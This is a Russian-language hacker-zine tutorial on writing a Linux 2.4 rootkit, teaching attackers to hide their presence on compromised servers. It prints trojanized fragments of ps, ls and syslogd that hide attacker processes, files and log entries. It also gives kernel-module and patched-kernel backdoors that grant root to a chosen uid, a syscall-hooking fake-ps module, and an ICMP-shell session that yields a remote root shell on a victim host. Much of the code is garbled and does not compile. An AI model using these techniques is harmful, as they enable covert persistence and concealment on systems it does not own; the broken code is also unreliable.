[+]-----------------------------------------------[+]
| Троянизация Тукса |
| |
| Техника троянизации системных утилит |
| и стелсирование с помощью LKM в Linux 2.4.x |
| |
| Автор: _1nf3ct0r_ |
| (dr.pascal@mail.ru) |
| _ _ _ _ _ __ _ _ _ |
| | || |___| | | |/ /_ _ (_)__ _| |_| |_ ___ |
| | __ / -_) | | ' <| ' \| / _` | ' \ _(_-< |
| |_||_\___|_|_|_|\_\_||_|_\__, |_||_\__/__/ |
| |___/ |
| |
[+]-----------------------------------------------[+]

[Вступление]

В принципе, не так давно столкнулся с написанием собственного руткита, так как большая часть руткитов палится банальными
IDS, такими как chrootkit и rkhunter. Еще сильнее мне захотелось написать свой руткит, после того, как один из мемберов
нашей команды - p4r4z!73 (привет, кстати) рассказал мне ужаснейжую историю: автор SHV (shkit) внедрил в руткит функцию,
которая отсылает IP и пассы взломанного сервера, на котором, ты установил руткит :(. Об этом ему много кто говорил, но
проверять я ничего не стал... а.. а решил написать руткит и попутно рассказывать об этом в статье. Сначало мы рассмотрим
подмену системных утилит, затем, попробуем понять принцип действия загружаемых модулей ядра Linux и самих LKM-руткитов.

[Троянизация системных утилит]

Для начала давай рассмотрим троянизцию системынх утилит, а чуть позже и саму LKM-технологию, на которые мы будем
опираться далее:
- Подмена системных файлов
Итак... подмена системных файлов - для чего это надо? А надо это для обмана операционной системы, а именно Linux'a -
именно его мы будем рассматривать. Какие системные файлы подменяют и для чего?

ifconfig - скрывает установленный файл PROMSIC
netstat - скрытие установленных соединений
ps, top, pidof - скрытие процессов хакеров
ls,find,lsof,locate/slocate, du - скрытие файлов
tcpd - скрытие установленных соединений и ограничений доступа
killall - делает запрет на остановку скрытых процессов
syslogd - не разрешает логировать действия хакера syslog'ом
и другие файлы - по своему усмотрению :)

Вот, например, SHV подменяет следующие бинарники: dir, encrypt, find, ifconfig, login, ls, lsof, lsof, md5sum, netstat,
pg, ps, pstree, slocate, syslogd, sz, tkp, tks, tksb, top.

Также руткит должен иметь в себе функции бэкдора - так называемых "потайных ходов", а также дополнителные программы,
таких как снифферы, анализаторы пакетов и т.д
Бэкдоры и дополнительные функции мы рассматривать НЕ будем. Сейчас начнем с протрояниванием системных утилит. Поехали!

- затроянивание ps

Так как в твоем будующем рутките для linux'a будет встроенный бэкдор, то мы обязательно должны скрыть процесс бэкдора,
ибо "злой администратор" его остановит :). Одной из частей исходного кода утилиты ps является сишник "readproc.c",
который нам и придется "модифицировать" к более приличному троянскому виду.

o-------------//[Затрояненный кусок readproc.c]\\----------------o

proc_t* ps_readproc(ProcTab* PT, proc_t, rbuf) {
next_proc: /* хватаем PID */
-while ((ent = readdir(PT->procfs)) &&
(*ent->dname < '0' || *ent->d_name > '9')) {}
-if (!ent || !ent->d_name)
-return NULL;
-sprintf(patn. "/proc/%s", ent->d_name);
aif (stat(path, &sb) == -1(
-goto next.proc;

- /* Протрояниваем файл */

- if (sb.st_uid == 1337) { /* 1337 - идентификатор хакера */
-goto next_proc; /* алгоритм: "если процесс запущен из под идентификатора 1337 */
-} /* (уид хакера), то показываем следующий процесс (пропуская */
/* процесс, запущенный из под 1337 уида) */

- /* Затроянили, окей ;) */
-if .................. и т.д и т.п

o-------------//[Затрояненный кусок readproc.c]\\----------------o

Итак, мы скрыли утилиту ps. Но есть одно НО!
Процесс всё равно будет светиться в каталоге /proc/, но туда не особо часто заглядывают "гениальные" админы :)
Тем более файлы в той директории можно скрыть затрояниванием ls, find и т.д

- затроянивание ls

Не буду тут распинаться, а лишь скажу, какой исходный код мы будем затроянивать сейчас - ls.c - утилиты для листинга
файлов. Не буду повторяться - в сети море данных затрояненных ls'ок, так, что мы сделаем хитро. Возможно кому-то это
 понадобится :)

o-------------//[Хитро-затрояненный кусок ls.c]\\----------------o

static int file_interesting (const struct dirent *next) {

for (ignore = ignore_patterns; ignore; ignore = ignore->next)
if (fnmatch (ignore (ignore->pattern, hack->d_name, FNM_PERIOD) == 0)
return 0;
/* Протрояниваем... :)
if ( !strcmp(next->d_name. "...") ) { */ Алгоритм: возвращаем "ненулевое" значение,*/
return 0; */ если файл в next должен быть показан */
/* Окей ;)
if (really_all_file || hack>d_name[0] != '.' || (allfile ................ и т.д и т.п

o-------------//[Хитро-затрояненный кусок ls.c]\\----------------o

Мы сделали следующее... изменили функцию file_interesting, да так, что при команде ls, файлы и папки с именем вида
 .name не будут отображаться в листинге. Но выполнив команду ls -a, они будут видны ;)

- затроянивание syslogd

Так как syslogd очень часто часто используется для ведения логов - будем затроянивать именно его. Конечно,
никто не запрещает тебе затроянивать еще и другие системы логирования событий, но это уже твоё личное дело.
Модифицировать мы будем сишник "syslogd.c". Приступим

o-------------//[Протрояненный кусок syslogd.c]\\----------------o

void logmsg(intpri, char* msg, const char* form, int flags) {

/* Протрояниваем */
if (strstr(msg, "123.123.123.12") )
return;
/* Окей ;) */
dprintf("logmsg: %s, flags %x, from %s, msg %s\n",
textpri(pri), flags, from, msg);
msglen = strlen(msg);
....................... и т.д и т.п
o-------------//[Протрояненный кусок syslogd.c]\\----------------o

Следующей записью мы блокируем все записи логов syslog'ом с IP-адрессом, равным - 123.123.123.12.
Для того, чтобы затроянить syslog, надо его удалить и поставить протрояненный бинарник...
Пока всё, остальное будешь писать сам ;)

[Ядерные руткиты - технолгия LKM - загружаемых модулей ядра]

Я не хочу повторяться, а лишь советую прочитать статью "Поиграем с туксом в прятки" Криса Касперского, в которой он
рассказал о различных методиках стелсирования на уровне ядра (журнал "Хакер", номер #077 - май 2005)
Наиболее опасными руткитами являются LKM-руткиты - руткиты, загружаемые в ОС как модули ядра. Сначала давай разберемся,
что такое "Загружаемые модули ядра". Прежде всего, загружаемые модули ядра (LKM - LoadAble Kernel Module) были созданы
для простоты удобства, так как в ядро Linux будет очень неудобно добавлять новые функции, перекомпилировать,
перезагружаться - для этого присоединяются модули ;). Как ты уже догадался, эти модули - ничто иное как обычные
программы, которые "улучшают" или "дополняют" систему, но в нашем случае, это "закрепление позиий". Написание модулей
ядра не так уж сложно, стоит лишь включить парочку включений, почти для каждой ветки они разные. Вот структура модуля
ядра для веток 2.4 (строки, возле которых комментарии - обязательны):

o-------------// структура модуля ядра для веток 2.4 \\------------------o

#define __KERNEL__ /* определить, что это */
#define MODULE /* ядерный модуль. обязательно */
#include /*также обязательно, заголовочныцй файл модуля */
/* на SMP машинах:
#ifdef __SMP__
#include
#endif
(чуть не забыл написать) /*
/*............... покоцано ................ .*
/* следующая функция init_module( ) также ОБЯЗАТЕЛЬНА - она */
/* говорит, что будет делаться при загрузке модуля */
int init_module( )
{
/* Что будем делать при загрузке модуля /*
}
/* следующая функция cleanup_module( ) также ОБЯЗАТЕЛЬНА - она */
/* говорит, что будет делаться при выгрузке модуля */
int cleanup_module( )
{
/* Что будем делать при выгрузке модуля /*
return 0;
}
/* Далее лицензия. Обязательно /*
MODULE_LICENSE("ЛИЦЕНЗИЯ, например, GPL");

o-------------// структура модуля ядра для веток 2.4 \\------------------o

Теперь давай рассмотрим реальный пример модуля, который, возможно, понадобится тебе при написании ТуксКит'а или еще
чего-то, который будет делать следующее:
Он будет перехватывать системный вызов systemuid(), и если идентификатор пользователя будет равен 31337, то ему
присвайвается uid, равный нулю (уид суперпользователя - root'a), тем самым пользователь с uid'ом = 31337 сможет выполнять
команды из под учетной записи root. Очень полезная вещь:

o-------------// uid_changer backdoor \\------------------o

#define __KERNEL__
#define MODULE
#include
#include
#include
#include
#include
#include

int new_setuid(uid_t);
int (*real_setuid) (uid_t);
extern void *sys_call_table[];

int init_module ()
{
register struct module *mp asm("$ebx");
*(char *) (mp->name) = 'd'; *char(char *) (mp->name+1) = 's';
*(char *) (mp->name+2) = '2'; *char(char *) (mp->name+3)= '\0';
real_setuid = sys_call_table[ SYS_setuid ];
sys_call_table[ SYS_setuid ] = (void *)new_setuid;
return 0;
}

int int cleanup_module()
{
if (uid == 31337 )
{
current->uid=0; current->gid=0;
current->euid=0; current->egid=0
return 0;
}
return (*real_setuid) (uid);
}
MODULE_LICENSE("GPL");
o-------------// uid_changer backdoor \\------------------o

Структура модуля ядра для ветки 2.6 немного другая как и метод перехвата, который мы рассматривать в данном материале
не будем:

o-------------// структура модуля ядра для веток 2.6 \\------------------o

#ifdef LINUX26
static int __init tooxkit_init()
#else
int init_module()
#endif

#ifdef LINUX 26
static void __exit tooxkit_cleanup()
#else
int init_module()
#endif

#ifdef LINUX26
module_init(tooxkit_init);
module_exit(tooxkit_cleanup);
#endif

o-------------// структура модуля ядра для веток 2.6 \\------------------o

Данная структура даже выглядит проще. Давай рассмотрим команды, которые нам понадобятся для LKM.

gcc -c tooxkit.c -o tooxkit.o
Откомпилировали, теперь подключаем..

- insmod
Загрузить модуль в систему.

rootkit# insmod tooxkit.o
Загрузили ранее откомпиленный модуль...

- lsmod
Данная команда показывает подключенные модули ядра:

rootkit# lsmod

Module Size Used by
tooxkit 31337 0
processor 9008 0
.... .... .... .... .... ....
Итак, мы увидели трик колонки "Module", "Size" и "Used by" - "Название модуля", "Размер", "Кем используется". Все, в
приницпе, ясно.. tooxkit - палевный LKM-руткит, запущенный из под root'a (нулевой уид) с размером 31337.

- rmmod
Данная команда выгружает модули ядра

rootkit# rnmod tooxkit
Выгрузит модуль tooxkit

Проверяем:
rootkit# lsmod

Module Size Used by
processor 9008 0
.... .... .... .... .... ....

C подключениями/отключениями/и т.д модулей ядра мы разобрались... Пока мы с тобой баловались с протрояниванием системных
бинарников, я решил рассказть о более продвинутом обмане ОС на уровне ядра. Мы будем перехватывать системные вызовы к
различным программам типа ls,ps,netstat и т.д - администратору придется изрядно попотеть, чтобы обнаружить вторжение в
систему.

- перехваты... LKM-rootkit'ы

Теперь о LKM-руткитах... Ядерные руткиты работают по принципу:

- подгрузить свой модуль
- перехватить системный вызов пользователя
- не показывать юзеру то, что мы пытаемся скрыть
В том числе и сам руткитовый модуль.

А теперь поясню более популярно. Вот, например, администратор заподозрил, что-то неладное, поэтому решил пошарить в
системе (нами был установлен процесс "tooxkit", который мы удачно скрыли перехватом).Мы написали LKM, который
перехватывает системные вызовы ко всем важным командам (включая ps). Админ отдал команду ps, но в списке процессов все
было чисто - процесс "tooxkit" не был обнаружен. Простейшую технику перехвата системных вызовов можно прочитать в
статье "Weakening the Linux Kernel" - во Phrack'e, номер #54.

- рутовая лазейка

Чуть выше мы с тобой троянили ps, но процесс оставался быть "не стелсированным" в каталоге /proc. Сейсас я приведу
несколько примеров троянизации ядра, которые будут предоставлять нам доступ к командному интерпретатору с привелегиями
root, а также троянизация некоторых системных утилит, путем системных перехватов. Начнем с root-лазейки, которая изменит
вызов sys_setuid до setuid(0) пользователю с уидом равным 1337, дав ему небезграничные возможности во взломанной системе.
Изменения будут происходить в самом ядре - модифицируем sys.c, а именно функцию sys_setuid, которая отвечает за "раздачу
привелегий":

o--------------// лазейка к root-привелегиям \\-------------------o
asmlinkage int sys_setuid*uid_t uid)
{
int old_euid = current ->euid;
int old_ruid, old_suid, new_ruid;
old_ruid = new_ruid = currnet ->uid
old_suid = currnet->suid;
/* Начинаем троянизировать ядро /*
if (current->euid == 1337)
new_ruid = current->euid = current -> suid = current ->fsuid = uid;
/* Окей... ;) /*
else if *capavle(CAP_SETUID))
........... и т.д и т.п...........
o--------------// лазейка к root-привелегим \\-------------------o

Еще одну лазейку, только LKM мы рассматривали выше.

- процессы

Теперь давай скроем процессы...
Скрывать мы будем перехватом системных вызовов - запросы к ps будут передаваться соверщенно левой функции tooxkit'a.
Немного полазив в интернете в поиске информации о перхватах запросов, я нашел интересный и подходящий код, который
выдавал фейк информацию о ps:

o------------// перехват запросов к ps \\---------------o
Linux Kernel Module
#include
#include
#include
/* linux ps fake utility.
*
* if fake ps doesn't work, try below SYS_CALLS
*
* 1. SYS_rt_sigaction
* 2. SYS_rt_sigprocmask
* 3. SYS_clone
*
* the main hook function is fakepid(); this function try to
* hook SYS_call = SYS_waitpid, then programm print some inte
* resting message to the screen :)
*
* (c) by stan [unl0ck team] 2004
*/
extern void *sys_call_table[]; /* указываем на таблицу системных вызовов /*
int (*origpid)(const char *path);
int fakepid(const char *path)
{
printk(«No proccess found!»);
return 0;
}
int init_module(void) /* Что будем делать при загрузке модуля /*
{
origpid = sys_call_table[SYS_waitpid];
sys_call_table[SYS_waitpid] = fakepid;
printk(«Module successfully loaded!»);
return(0);
}
void cleanup_module(void) /* Что будем делать при выгрузке модуля /*
{
sys_call_table[SYS_waitpid] = origpid;
printk(«Module successfully unloaded!»);
}
o------------// перехват запросов к ps \\---------------o

Прочитав внимательно исходник ты поймешь принцип перехватов.
Скрыв локально соединение, я чуть не забыл про удаленное... Ведь администратор может просто просканировать свою систему
nmap'ом или другим сетевым сканером. Для этого удобнее всего использовать низкоуровневые сокеты - RAW-sockets, например,
 при отслылке определенного пакета бэкдор в систему будет открываться, но это я разжевывать не буду, лишь покажу очень
удобный пример получения рут-шелла с помощью ICMP-пакетов и программы ICMP-shell:

- ICMP-shell manual

Во-первых, программа работает при помощи протокола ICMP (ну естественно), в ICMP-пакеты "втуливаются" наши команды, а
серверная часть их обрабатывает и выполняет. Это достаточно удобно, так как ICMP-пакеты почти всегда обрабатываются
сервером (конечно, если файрвол не режет все icmp-пакеты):

Теперь, как это выглядит на практике:
// Запускаем ICMP-shell на сервере c привелегиями root, так как он использует RAW-сокеты.
server# ishd -i 31337 -t 8
// Запустили. идентификатор - 31337, тип ICMP-пакета - 8 (echo). Идентификатор нужен
// для того, чтобы серверная часть ICMP-шелла распознавала пакеты хакера.

// Теперь запускается клиентская часть:
client# ish -i 31337 -t 8 victim.org
Connecting to victim.org...done.

// Узнаем, "кто мы":
#whoami
root

С ICMP-shell мы разобрались - ты уже понял к чему я клоню...

[Заключение]

Я рассказал тебе достаточно много того, что даст тебе возможность написать свой собственный руткит (еcтетсвенно, со
знаниями си), и ты, наверное, уже сможешь написать свой руткит. Еще раз скажу, я не хотел повторяться, так как в статье
Форба(журнал "Xakep", номер #069 - статья "Вооружись своим руткитом") и Криса Касперского (журнал "Хакер",
номер #077 - статья "Поиграем с туксом в прятки") написано достаточно - обход проблем с файрволом, маскировка твоего
соединения при помощи net toolz, скрытие процессов, встроение бэкдора, стелсирование на уровне ядра. Вот, и все чем
я хотел с тобой поделитья. Также я настолятельно не рекомендую писать руткит методом "Copy & Paste", так как это будет
"лол-руткит", так что для завершения идеи написания руткита тебе придется хоть немного пошевелить мозгами, разобраться с
написанием модулей, а также полистать дополнителную литературу, которую я привел ниже :). Буду рад, если моя статья
кому-то действительно помогла :).

[Дополнительная литература]

Дополнительная литература про написание руткитов и их обзора:

Выбери свой руткит (обзор *nix-руткитов)
|Автор: Forb | журнал "Xakep", номер #069 http://xakep.ru/

 Вооружись своим руткитом
|Автор: Forb | журнал "Хакер", номер #071 http://xakep.ru/

Поиграем с туксом в прятки
|Автор: Крис Касперски| журнал "Хакер", номер #077 http://xakep.ru/

Системный маскарад
|Автор: Юрий Гольцев| журнал "Хакер", номер #080 http://xakep.ru/

Кошмарное ПО(обзор руткитов для windows)
|Автор: Петя и Волк | журнал "Хакер" номер #077 http://xakep.ru/

Затроянивание sshd (1 и 2 часть)
|Автор: Satir| Cyber Lords Community http://cyberlords.net/

Attacking OpenBSD with LKM (1 и 2 часть)
|Автор: __blf| Rush Security Team http://rst.void.ru/

Weakening the Linux Kernel
|Автор: Solar Disigner| e-zine "Phrack", номер #54 http://phrack.org/
и другие номера phrack'a - самый истинно-хакерский e-zine! ;)

Ссылки по теме:

http://rootkit.com/ - огромная коллекция троянов, руткитов и прочих вкусностей...
http://linux.kernel.org/ - исходные коды ядра Linux'a
http://peter.elukc.com/code/unix/c/icmp-shell/ - программа ICMP-шелл, которую мы упоминали в статье.
http://google.ru/ - без комментариев ;))

P.S: Все информация предоставлена в исключительно ознакомительных целях и является пищей для размышления ;)

(c) Hell Knights Crew
Автор: _1nf3ct0r_